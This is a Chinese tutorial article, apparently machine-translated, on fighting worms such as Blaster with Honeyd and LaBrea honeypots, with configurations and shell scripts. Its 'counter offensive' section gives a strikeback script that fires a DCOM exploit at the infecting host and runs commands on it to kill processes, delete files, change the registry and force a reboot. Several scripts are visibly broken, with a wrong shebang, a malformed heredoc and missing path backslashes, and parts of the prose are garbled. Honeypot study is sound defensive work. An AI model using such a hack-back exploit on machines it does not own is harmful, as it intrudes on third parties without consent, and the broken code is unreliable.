电脑技术学习

使用Honeypots同计算机蠕虫病毒作斗争

dn001

  文/yangshulei

 
  2003年夏天,对于运行着Microsoft Windows的成千上万台主机来说简直就是场噩梦!也给广大网民留下了悲伤的回忆,这一些都归结于冲击波蠕虫的全世界范围的传播。这种事件也以不是第一次了,以往的Slammer, Code Red,Nimda 蠕虫同样也有着类似的破坏效果。

  这种蠕虫会在被感染的机器上自己复制,以其达到通过蔓布因特网感染其他的机器的目的。导致了人们对网络安全问题的重视。

  人们总是习惯于相同类型的系统与程序。这同达尔文的某个理论相似,单作的这使许多网络安全专家畏惧连到因特网,而遭到一种新的恶意的蠕虫的攻击,如果最近的冲击波能格式Windows 的机器的硬盘会是什么下场?虽然它没这种效果,但它可以轻易的达到那种效果,随着新的网络攻击的水平不断提高,提出一个新的解决方案必须的。

  这篇文章是说用Honeypots 同Internet 蠕虫作斗争的方法,第一部分介绍讨论关于传播广泛的蠕虫的背景知识,然后,讨论Honeypots 的一些实用的功能。最后,我们将搭建一个Honeypots来同Internet 蠕虫作斗争和反击。最后,我们将展望一下未来的观点。

  1、关于蠕虫

  简单点说,蠕虫就是有着危害的代码来攻击网上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的令人畏惧的实体。

  大多数时间, 蠕虫程序都是计算机黑客,网络安全研究人员和病毒作者写的。病毒传染基于迷惑人脆弱的部分,通过社会工程学来传播。比如,迷惑一个用户敲击一个电子邮件附件,以其达到目的。

  蠕虫主要有三种主要特性:

  感染: 通过利用脆弱感染一个目标。

  潜伏:感染当地目标远程主机。

  传播:影响的目标,再感染其他的主机。

  2、关于 honeypots

  Honeypots是一个哄骗进攻者的计算机。在一个网络上,恶意的攻击者将会攻击伪造的系统,他们使尽一些方法得到的只是一些无关的信息。

  当一个honeypot作为伪造的主机,常常哄骗进攻者时,这就意味着所有的请求到honeypot都是可怀疑的,

  honeypots 经常认为用于被动分析时,他们也能起交互式作用来处理蠕虫,两种honeypots 经常被使用。

  高级应用:一种真正的主机通常几乎牺牲(叫做傀儡主机),在一个网络在等待任何进攻者攻击。

  低级应用:服务器和/或主机是模拟的(例如Honeyd by Niels Provos)

  3、蜜罐同蠕虫的对抗

  这章的目标将是证明交互式honeypots 同蠕虫作斗争的优势,我们将明白怎么使用新的蜜罐技术来防御不同的阶段期间的蠕虫,

  3.1 蠕虫与蠕虫的感染

  蠕虫感染的阶段就是它在受害主机上自我复制攻击其他的主机。

  在这个阶段期间 ,作为防守者的蜜罐会检测非法入侵者的行为。比如,监视网络,这项技术通常被称为太公钓鱼,愿者上钩。防守者的蜜罐是一个建在网关上的,扮演着一个防火墙,或者入侵检测系统(IDS),或者是入侵防御系统(IPS)。它过滤了通过网络的流量,分析数据包的内容。然后,如果网络的地址同那些知名的攻击的指纹是否相同,在检验之后,网关将标记一定时期内的危害的源地址。因此,危害的数据包将被重定向到蜜罐中,而不是主网络中。

  对于最近的冲击波蠕虫,如果网关机器对来自外部的TCP数据包请求本地135端口,被IDS进行标记。他将被重定向到蜜罐中。我们将在第3.3章中讨论蜜罐未来的新功能。

  我们也发现了这门技术的缺点:

  1,标记总是晚于新的未知的攻击,

  2,这一概念是可靠的吗?如果因为错误的配置而系统出错,将合法的数据包发到蜜罐中该怎么办?

  3,网络速度因为网关的巨量的分析而被减慢。

  3.2 蜜罐与蠕虫的潜伏







  蜜罐技术对于对付是非常有用的,特别是扑获和分析它们。为了扑获到一个蠕虫,你可以让一台主机感染上,至少让蠕虫认为已感染上了,在前一章了,我们看到我们能用蜜罐来转向这些攻击的流量。

  蜜罐也被称为“傀儡主机”(一个正常的没有打最新补丁的漏洞主机,有被入侵的可能性)。或者模拟一个服务,注意要让她们在你的控制下不能在反弹感染其他的主机。如想获得更多的信息,请参考Honeynet Project.的建议。

  3.2.1 受害主机

  使用一个受害主机,安装着原始的操作系统和一些适当的服务,也可以通过VMWare来安装许多个操作系统,来迷惑蠕虫的攻击.

  为了扑获蠕虫,受害主机等待被感染,以至于监视网络上的流量并发现蠕虫.

  3.2.2 虚拟的主机和服务

  模拟这个虚拟的主机和服务,honeypot 通过伪造的服务能让远程的蠕虫进行接触。完成这种的程序叫做蜜罐

  为了描述这个方法,这里有一种方法来欺骗冲击波蠕虫的,它会欺骗冲击波蠕虫认为对方的Windows 主机开放着135端口,并运行着RPC DCOM 服务。

  这个简单的配置通常能成功地发现在因特网上的冲击波蠕虫。

  create default set default personality "Windows XP Pro"

  add default tcp port 135 open

  add default tcp port 4444 "/bin/sh scripts/WormCatcher.sh $ipsrc $ipdst"

  set default tcp action block

  set default udp action block

  这里有一个在Honeyd 发布的对每一个请求4444端口脚本程序。

  !#/bin/sh

  # Creation of a directory for every contaminated host

  # attacking the honeypot, in order to archive different binaries

  mkdir /tmp/$1-$2

  # Download of the worm through TFTP in this directory

  # (specific behaviour for MSBlast)

  cd /tmp/$1-$2/

  tftp $1 <

  get msblast.exe

  quit

  EOF

  通过这种简单的配置,我们能在没有操作系统中发现冲击波蠕虫的攻击。这项技术所以很实用。

  3.3 蜜罐与蠕虫的传播

  3.3.1 对蠕虫请求的回应

  当一个蠕虫想传播是,会随机攻击一些IP.在这些目标列表中,一些IP可能没有被用.但其他的IP就会遭到蠕虫的攻击,如果一些IP对蠕虫的攻击没有相应的话,它们就会跳过这些IP攻击其他的IP.

  当一个蠕虫攻击一个不存在的主机时,蜜罐就会伪装信息让蠕虫攻击它.

  比如,冲击波会随机选择攻击开了135端口的主机.对没有用的IP,我们可以设置蜜罐来诱扑冲击波蠕虫.要用到叫做arpd的demon.具体配置如下:

  create default

  set default personality "Windows XP Pro"

  add default tcp port 135 open

  set default tcp action block

  set default udp action block

  有了这个配置,冲击波蠕虫就会对不存在运行着蜜罐的IP进行攻击,蠕虫会以为对方开着135端口的漏洞主机.通过这门技术,冲击波蠕虫就会被伪造的信息欺骗,达到拖延时间,进而通知管理员,采取措施,对进程中的程序进行清理.避免遭到冲击波的控制.

  如果一个新的蠕虫设计过于复杂,这个蜜罐就不是那么好配置了.

  3.3.2 对蜜罐的缓慢的回应







  继续前一章的,蜜罐能监视所进来得请求的数据,使在网络层的对蠕虫的回应减慢,这项技术以被使用,所用到的工具叫做Labrea。这个Unix daemon 能对未存在的IP作出回应。为了模拟对攻击者的TCP session。它使用合法的RFC的文档,来最大化的拖延TCP session的时间。为了避免蠕虫的攻击,TCP window size 始终保持为0。

  通常下蠕虫都是以一个进程在受害主机上的。在内核中使用classic network calls来到处传播,在用户的领域使用classic API。蠕虫不知道网络为什么运行这么慢,它会减慢并阻塞伪造的目标。

  作为实验,Labrea已成功地战胜了红色代码蠕虫,它也可能对付其他的蠕虫攻击。在未来的Honeyd 系统中将添加这样的功能。

  尽管这种防守体系有很多缺点,比如多线程的蠕虫或未意识到的蠕虫会同时攻击一些目标,而不会阻塞我们伪造的目标。

  3.3.3 我们应采取什么反击措施

  一些已发布的反击措施

  *孤立一些主机

  *关闭蠕虫敏感的远程的服务

  *对远程设备(路由器,防火墙等等)制定合适的流量监控

   3.4 Launching a counter offensive

  这里有一个通过Honeyd配置的例子,

  create default

  set default personality "Windows XP Pro"

  add default tcp port 135 open

  add default tcp port 4444 "/bin/sh scripts/strikeback.sh $ipsrc"

  set default tcp action block

  set default udp action block

  蜜罐的TCP 135端口开着,并接受冲击波蠕虫的攻击,幸运的是,蠕虫没有检查RPC 回应的完整。因此,蜜罐经过三次握手的过程,来检测非法的数据包。

  然后,我们添加一个4444端口服务,它可以让冲击波获得远程的SHELL,包括通过TFTP来执行下载代码。这个伪造的SHELL将通过一个叫做strikeback.sh来欺骗蠕虫。

  以下是运行在Windows XP Pro系统下的strikeback.sh程序,

  !#/bin/sh

  # Launches a DCOM exploit toward the infected attacking host

  # and then run cleaning commands in the remote DOS shell obtained

  ./dcom_exploit -d $1 << EOF

  REM Executes the following orders on the host :

  REM 1) Kill the running process MSBlast.exe

  taskkill /f /im msblast.exe /t

  REM 2) Eliminate the binary of the worm

  del /f %SystemRoot%system32msblast.exe

  REM 3) Clean the registry

  echo Regedit4 > c: cleanerMSB.reg

  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >> c:cleanerMSB.reg

  echo "auto windows update" = "REM msblast.exe" >> c: cleanerMSB.reg

  regedit /s c: cleanerMSB.reg

  del /f c:cleanerMSB.reg

  REM N) Specific actions to update the Windows host could be added here

  REM N+1) Reboot the host

  shutdown -r -f -t 0 exit

  EOF

  4、总结

  蜜罐技术已成为对抗蠕虫的有效措施。它们把蠕虫的流量重定向到伪造的主机上,以至于扑获到蠕虫并分析它们的特征,来限制蠕虫在网络上的传播。

标签: 病毒